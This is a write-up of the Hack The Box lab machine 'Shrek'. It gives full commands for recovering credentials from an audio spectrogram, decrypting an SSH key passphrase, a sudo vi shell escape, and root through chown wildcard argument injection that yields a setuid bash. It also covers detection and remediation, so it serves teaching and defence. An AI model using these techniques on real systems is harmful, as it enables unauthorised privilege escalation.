HTB: Shrek
A hard Linux box where a leaked directory name leads to FTP credentials drawn in an audio spectrogram, an ECC-encrypted note unlocks an SSH key, and a root cron job running chown over a wildcard hands over a setuid shell.
- Published
- Reading time
- 20 min
- Difficulty
- hard
- Target
- Linux (Shrek)
Overview
Shrek is a hard-rated Arch Linux machine with three services: FTP, SSH and a static Apache site. Nothing on it is a software vulnerability in the CVE sense. Every step is a secret stored where it can be found, or a privileged script that trusts input it should not.
The chain has four links. A directory listing exposes a file whose source
names a hidden directory. That directory holds an MP3 with FTP credentials
painted into its spectrum. The FTP account holds an encrypted SSH key and,
buried in decoy files, a passphrase and an ECC ciphertext that decrypts to the
key’s password. Root comes from a cron job that runs chown over a shell
wildcard in a directory the low-privileged user owns.
The box is built to waste time. An upload form posts to a static page, a sudo rule leads to a second user with nothing useful, and 29 of the 31 files on the FTP server are noise. Most of the work is deciding what to ignore.
Reconnaissance
I start with a service scan of the top 1,000 ports and run a full TCP sweep in the background:
nmap -Pn -n -sC -sV -oA scans/top1000 10.129.101.38
nmap -Pn -n -p- --min-rate 1500 -oA scans/all 10.129.101.38
| Port | Service | Version | Notes |
|---|---|---|---|
| 21 | FTP | vsftpd 3.0.3 | Anonymous login refused (530) |
| 22 | SSH | OpenSSH 7.5 | Protocol 2.0 |
| 80 | HTTP | Apache 2.4.27 (Unix) | Static site, TRACE enabled |
The full sweep finds the same three ports. None of the versions gives code execution or a foothold. vsftpd 3.0.3 is not the backdoored 2.3.4 build, and anonymous access is off:
curl -s -v ftp://anonymous:a%40b.c@10.129.101.38/
< 220 (vsFTPd 3.0.3)
< 331 Please specify the password.
< 530 Login incorrect.
That leaves the website.
Web enumeration
The site is a five-page fan page: Home, About, Image Gallery, Upload Page and Sitemap. The upload page is the obvious target:
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
Before building an upload bypass I probe the handler and the directories the pages reference:
for d in images uploads upload.php upload; do
printf '%s -> ' $d
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' http://10.129.101.38/$d/
done
images -> 200 2802
uploads -> 200 2389
upload.php -> 404 977
upload -> 404 977
I read the 404 as proof that the form was a decoy and moved on. The probe
does not show that. The loop appends a slash to every entry, so it asks for
/upload.php/, which Apache rejects for a plain file whether or not the file
exists. Asked for correctly on a later spawn, the file is there:
curl -s -D - -o /dev/null http://10.129.101.42/upload.php
HTTP/1.1 200 OK
Server: Apache/2.4.27 (Unix)
Last-Modified: Tue, 15 Aug 2017 11:03:54 GMT
ETag: "1f2-556c8bc2bfa80"
Accept-Ranges: bytes
Content-Length: 498
The headers are those of a static file: an ETag, a modification date in 2017
and no PHP header. The body is plain HTML that says “Your file has been
uploaded :)” to a GET with no file attached. A POST of a text file returns the
same 498 bytes, and nothing new appears in /uploads/:
curl -s -o post.body -F "file=@probe.txt" http://10.129.101.42/upload.php
cmp get.body post.body && echo identical
identical
So the form is a decoy: upload.php is a page, not a handler. My conclusion
on the day was right and the evidence for it was not. The useful half of the
first output stands: /uploads/ exists and has directory indexing turned on.
Attack Surface Analysis
Directory listing on /uploads/ (CWE-548)
The listing shows what looks like other players’ leftovers:
cow.php5 legit.asp lolol.asp secret_ultimate.php
shell.elf shell.php siren.aspx trll.exe
Files in this directory are served as static content, so a request for a
.php file returns its source. I download all eight and read them:
for f in cow.php5 legit.asp lolol.asp secret_ultimate.php shell.elf shell.php siren.aspx trll.exe; do
curl -s -o uploads/$f http://10.129.101.38/uploads/$f
done
Seven are payload stubs. secret_ultimate.php is the standard PHP reverse
shell with one line added near the top:
$end_path = site/secret_area_51 // friggin' finally found the secret dir!!
$ip = '10.10.14.X'; // CHANGE THIS
Secret stored in a web-accessible path (CWE-538)
The site/ prefix is wrong but the directory name is real:
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.101.38/secret_area_51/
200
It is another open listing with a single file, Smash Mouth - All Star.mp3,
which I save as allstar.mp3:
curl -s -o allstar.mp3 "http://10.129.101.38/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3"
System directories owned by a user, and a root job that trusts them (CWE-732, CWE-88)
These are only visible after a shell, and I cover them under Exploitation. In
short: /usr and /usr/src belong to the SSH user, and a root cron job runs
a command over * inside /usr/src, so that user chooses the command’s
arguments.
Vulnerability Analysis
Four design errors carry the whole box.
Obscurity used as access control. /secret_area_51/ has no
authentication. Its only protection is that the name is not linked, and the
name is written in a file that sits in an indexed directory. A path is not a
secret once anything that mentions it is readable.
Credentials stored beside what they protect. The SSH private key is encrypted, which is correct. The passphrase for it is then stored on the same FTP share, encrypted with a second passphrase that is also on the share. Each layer adds work for the attacker but no security, because every key needed is in the place the attacker already reached.
Unguarded wildcard in a privileged command. The root job runs
cd /usr/src; /usr/bin/chown nobody:nobody *. The shell expands * to the
directory’s filenames before chown starts, and nothing (-- or a ./
prefix) separates options from names. A file named
--reference=thoughts.txt is therefore an option.
A system directory owned by a user. /usr/src belongs to sec, which is
what lets him write the argument list of a root command. /usr belongs to him
as well, and that is the larger problem: see Post-Exploitation.
Exploitation
Phase 1: FTP credentials from an audio spectrogram
An MP3 in a directory named as a secret is not there for the music. ffprobe allstar.mp3 shows only encoder tags, so I render the spectrum with ffmpeg:
ffmpeg -i allstar.mp3 -lavfi "showspectrumpic=s=1800x700:legend=1:scale=log" spec-full.png
The full-track image shows normal music up to about 201 seconds, then a block of broadband noise to the end with a different texture. I render the last 20 seconds on their own:
ffmpeg -ss 195 -i allstar.mp3 -lavfi "showspectrumpic=s=1800x700:legend=1:scale=log" spec-end.png
The noise block has text cut out of it, readable directly in the image:
FTP:
donkey : d0nk3y1337!
The credentials work:
curl -s -u 'donkey:d0nk3y1337!' ftp://10.129.101.38/
-rw-r--r-- 1 0 0 3072 Nov 23 13:26 09429a1d....txt
-rw-r--r-- 1 0 0 4096 Nov 23 13:26 156fa8da....txt
-rw-r--r-- 1 0 0 15390 Nov 23 13:26 54eacdc0....txt
-rw-r--r-- 1 0 0 4526 Nov 23 13:26 7fb87b40....txt
...
-rw-r--r-- 1 0 0 1766 Aug 16 2017 key
There are 31 text files with random names and one file called key. I pull
all of them:
for f in $(curl -s -u 'donkey:d0nk3y1337!' --list-only ftp://10.129.101.38/); do
curl -s -u 'donkey:d0nk3y1337!' -o ftp/$f ftp://10.129.101.38/$f
done
Phase 2: SSH passphrase from the decoy files
key is a PEM-format RSA private key, and its header shows it is encrypted:
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,94DC7309349E17F8ED6776ED69D6265A
The text files are continuous base64-looking noise. Reading 31 of them by eye is the trap. The directory listing already separates them: 29 files have a size that is an exact multiple of 1,024 bytes, and two do not (15,390 and 4,526). I confirm the difference by searching every file for bytes outside the base64 alphabet:
import os, re, sys
d = sys.argv[1]
for f in sorted(os.listdir(d)):
if not f.endswith('.txt'):
continue
s = open(os.path.join(d, f), 'rb').read()
bad = [(m.start(), m.group()) for m in re.finditer(rb'[^A-Za-z0-9+/=\r\n]+', s)]
if len(s) % 1024 or bad:
print(f, len(s), bad[:6])
54eacdc0....txt 15390 [(7680, b' '), (7705, b' ')]
7fb87b40....txt 4526 [(2048, b' '), (2473, b' ')]
Each odd file has one fragment set off by runs of spaces. The first is 20 characters and decodes to a word:
UHJpbmNlQ2hhcm1pbmc= -> PrinceCharming
The second is 420 characters and decodes to the text of a Python bytes literal, 109 bytes long once evaluated:
'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9...
So I have a short passphrase and a small binary blob with no header, stored as a Python literal. The literal says the author worked in Python. At 109 bytes the blob is not a multiple of the AES block size and not an RSA modulus length.
I recognise the shape as output of the seccure library, which derives an
elliptic-curve key pair from a passphrase and produces compact ciphertexts
like this one. That recognition is prior knowledge, not deduction. Without it,
the route is to try the Python passphrase-based encryption libraries in turn.
The generator script in root’s home confirms it once the box is finished, with
the comment # ciphertext ECC encrypted with seccure:.
I install the library in a throwaway virtual environment and decrypt:
import ast, base64, re, sys
import seccure
s = open(sys.argv[1], 'rb').read()
frag = re.search(rb' +([A-Za-z0-9+/=]+) +', s).group(1)
ct = ast.literal_eval('b' + base64.b64decode(frag).decode())
print(seccure.decrypt(ct, b'PrinceCharming'))
b'The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec\n'
Phase 3: shell as sec
chmod 600 key
ssh -i key sec@10.129.101.38 'id; uname -a' # key passphrase: shr3k1sb3st!
uid=1000(sec) gid=100(users) groups=100(users),10(wheel),95(storage),98(power)
Linux shrek 4.12.6-1-ARCH #1 SMP PREEMPT Sat Aug 12 09:16:22 CEST 2017 x86_64 GNU/Linux
The user flag is in /home/sec/user.txt.
Phase 4: a dead end through sudo
sudo -l offers a path that looks intended:
User sec may run the following commands on shrek:
(farquad) NOPASSWD: /usr/bin/vi
vi runs shell commands with :!, so this is a shell as farquad. Running
it non-interactively with vi -es -c ':!id' produces no output on two
attempts; it needs a terminal. Over a pseudo-terminal, with the command piped
in and its output sent to a file, it works:
(printf ':!(id; ls -la ~) > /var/tmp/f.out 2>&1\n'; sleep 2; printf '\n:q!\n'; sleep 3) |
ssh -tt -i key sec@10.129.101.38 "sudo -u farquad vi /dev/null; cat /var/tmp/f.out"
uid=1001(farquad) gid=100(users) groups=100(users),7(lp),10(wheel),91(video),...
-rwxr-xr-x 1 root root 8448 Aug 16 2017 mirror
His home directory, /var/local/.farquad, contains one small root-owned
binary and nothing else. It is not setuid, and his extra groups (lp, video,
audio, optical) lead nowhere on a headless server. I stop here. The reason
is a file found in the next phase, which reads as a note from the author about
exactly this user.
Phase 5: root through a wildcard in a cron job
Standard enumeration finds no unusual setuid binary and no readable cron
entry. A search for directories that sec can write to outside the usual
places finds something odd:
find / -xdev -type d -writable 2>/dev/null | grep -vE "^/(proc|sys|dev|tmp|run|var/tmp|home/sec)"
/var/lib/ex
/var/spool/mail
/usr
/usr/src
/usr and /usr/src are owned by sec. On a normal system both belong to
root. /usr/src holds a single root-owned file:
-rw-r--r-- 1 root root 91 2017-08-22 thoughts.txt
That must be Lord Farquaad's castle...
Do you think he's maybe compensating for something?
A user-owned system directory suggests that something privileged acts on it. I cannot read root’s crontab, so I test the idea by leaving a file and watching its owner:
touch /usr/src/marker_sec
timeout 420 sh -c "until [ \$(stat -c %U /usr/src/marker_sec) != sec ]; do sleep 3; done"
date; ls -la --time-style=full-iso /usr/src
Mon Nov 23 13:40:01 UTC 2026
-rw-r--r-- 1 nobody nobody 0 2026-11-23 13:37:26 marker_sec
-rw-r--r-- 1 root root 91 2017-08-22 00:51:57 thoughts.txt
At 13:40:01 my file changed from sec to nobody:nobody. Something running
as root changes ownership in this directory on a schedule. If it does so with
a wildcard, a filename can become an option. chown has one that suits:
--reference=FILE applies the owner and group of FILE to every operand.
thoughts.txt is owned by root, and it stays that way through the run
because it is immutable (checked on a later spawn):
lsattr /usr/src/thoughts.txt
----i---------e---- /usr/src/thoughts.txt
I test with harmless targets before risking anything: the option file, a
symlink to a scratch file, and a setuid copy of id.
cd /usr/src
touch /var/tmp/t_target && ln -s /var/tmp/t_target t_link
cp /usr/bin/id idsuid && chmod 4755 idsuid
touch -- "--reference=thoughts.txt"
After the next run, at 13:45:02:
-rw-r--r-- 1 root root 0 Nov 23 13:40 /var/tmp/t_target
-rwsr-sr-x 1 root root 39624 Nov 23 13:40 idsuid
-rw-r--r-- 1 root root 0 Nov 23 13:37 marker_sec
Every file is now root:root, so the whole expansion went to one chown
call that honoured my option. The symlink was followed, and the test binary
kept its setuid bit:
$ /usr/src/idsuid
uid=1000(sec) gid=100(users) euid=0(root) egid=0(root) groups=0(root),10(wheel),...
The real payload is a copy of bash:
cp /usr/bin/bash /usr/src/rootbash && chmod 4755 /usr/src/rootbash
At 13:50:02 it is -rwsr-sr-x root root. Bash drops an effective UID that
differs from the real one unless started with -p:
/usr/src/rootbash -p -c "id; cat /var/spool/cron/root"
uid=1000(sec) gid=100(users) euid=0(root) egid=0(root) groups=0(root),...
@reboot /bin/rm /srv/ftp/*.txt
@reboot /usr/bin/python /root/.script.py
*/5 * * * * /root/chown
Post-Exploitation
With root I read the job to see why the attack worked as well as it did:
#!/usr/bin/python
from subprocess import run, PIPE, DEVNULL
find = run(["/usr/bin/find", "/usr/src", "-perm", "-4000"], stdout=PIPE,
stderr=DEVNULL, encoding="utf-8").stdout.split('\n')[:-1]
chown = run(["cd /usr/src; /usr/bin/chown nobody:nobody *"], stderr=DEVNULL, shell=True)
for suid in find:
chmod = run(["/usr/bin/chmod", "+s", suid], stderr=DEVNULL)
This explains the one result that should not have happened. The kernel clears
the setuid bit when a regular file changes owner, even when root does it, so a
plain chown would have produced a root-owned bash with no privilege.
The script lists the setuid files first, runs chown, then puts the bit back
on each one, adding setgid as well. That is why the mode came back as
rwsr-sr-x. With --reference in play, the nobody:nobody on the command
line becomes a file operand that does not exist, and stderr=DEVNULL hides
the error.
The symlink result means the setuid step was not needed. chown follows
symlinks given on the command line, so a link to /etc/passwd or
/etc/shadow plus a --reference file owned by sec would have handed
those files to the user directly.
There is a more direct route that I did not test. /usr itself is owned by
sec, with mode drwxr-xr-x and no sticky bit:
drwxr-xr-x sec:root /usr
drwxr-xr-x root:root /usr/bin
The owner of a directory can rename its entries. sec cannot write inside
/usr/bin, but he can move it aside and put his own directory in its place,
and the cron job calls /usr/bin/python, /usr/bin/find and /usr/bin/chown
by path as root. That would be root with no wildcard involved, at the cost of
breaking the system for a few minutes, which is why I left it alone.
The other two crontab lines rebuild the FTP decoys at boot, which is why the random filenames differ on every spawn. I remove my test files and the bash copy before stopping the machine.
Defensive Analysis
| Phase | What would have shown it |
|---|---|
| Web enumeration | Apache access log: one client walking /uploads/ and then /secret_area_51/, a path no page links to |
| FTP | vsftpd log: one session retrieving all 32 files in sequence |
| SSH | First login for sec from a new address, using a key that also sits on the FTP share |
| Wildcard test | auditd watch on /usr/src: creation of a file whose name starts with -- |
| Root | auditd execve records with euid=0 and auid=1000 from a binary under /usr/src |
The last signal is the strongest. A process whose effective UID is root while its login UID belongs to an ordinary user, running from a path outside the package-managed binary directories, has very few legitimate explanations.
The ownership of /usr is a finding before any attack takes place, and one
command surfaces it:
find /usr /etc /opt /srv -xdev -maxdepth 3 -type d ! -user root
Remediation
- Restore ownership.
chown root:root /usr /usr/src. This comes first because it closes both the wildcard route and the rename route. No scheduled root job should operate in a directory an unprivileged user can write to. - Fix the job.
chown -h nobody:nobody -- ./*. The--(or the./prefix) stops option parsing, but is not enough alone: without-hthe job still follows a symlink and gives away whatever it points to. Better, pass an explicit list fromfind /usr/src -maxdepth 1 -type f -print0 | xargs -0 -r chown -h nobody:nobody --. Remove the step that restores setuid bits: nothing should re-grant privilege to files in a user-writable directory. - Remove the secrets from the share. The SSH key, its passphrase and the passphrase’s key should not be on the same server, and none of them belong on FTP. Issue a new key pair, since the old one must be treated as disclosed.
- Turn off directory indexing with
Options -Indexesand delete/uploads/and/secret_area_51/. Put real authentication on anything meant to be private. - Remove the sudo rule. An editor with a shell escape is a shell. If
secmust edit one file asfarquad, usesudoediton that path. - Replace FTP with SFTP on the SSH service that is already running, so credentials and files stop crossing the network in clear text.
Key Takeaways
- Make the probe test what the conclusion claims. A trailing slash turned an existing file into a 404, and I wrote the form off on that evidence. It took three more requests to show that the form really is a decoy.
- Let metadata sort the haystack. File sizes picked two files out of 31
before any of them was opened. The same habit applies to timestamps and
ownership:
/usrowned by a user was the entire hint for root. - Audio is a container like any other. A spectrogram takes one ffmpeg command and belongs in the first pass over any media file found during enumeration.
- Test a privilege escalation with harmless inputs first. One five-minute
cycle with a scratch file and a copy of
idshowed that onechowncall took every filename, that symlinks were followed and that setuid survived, all before anything important was touched. - Wildcards in privileged commands are argument injection.
chown,chmod,tarandrsyncall accept options that change what they do, and all are common in maintenance scripts. Any*in a root script that runs in a directory someone else can write to deserves a second look.